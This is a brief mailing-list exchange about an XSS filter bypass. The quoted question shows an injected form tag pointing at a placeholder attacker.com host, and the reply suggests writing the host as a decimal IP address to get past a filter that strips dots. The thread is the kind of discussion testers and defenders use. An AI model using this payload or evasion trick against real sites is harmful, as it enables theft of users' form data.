Re: Fullstop Substitution in XSS

[Joseph Birr-Pixton <me () ifihada com>]

Calum Power wrote:

> My problem lies in the output of the form tags. Any: <form
> target="http://attacker.com/path/to/script";> is of course being filtered
> into: <form target="http://attacker_com/path/to/script";>
>
> Has anyone else had a similar problem? I've tried using hex and unicode
> encoding, to no avail (they get decoded before the filtering, obviously).
>
> Any help would be appreciated.

http://3639551331/search?q=decimal+ip+address

Oldest trick in the book :)

--
Joseph Birr-Pixton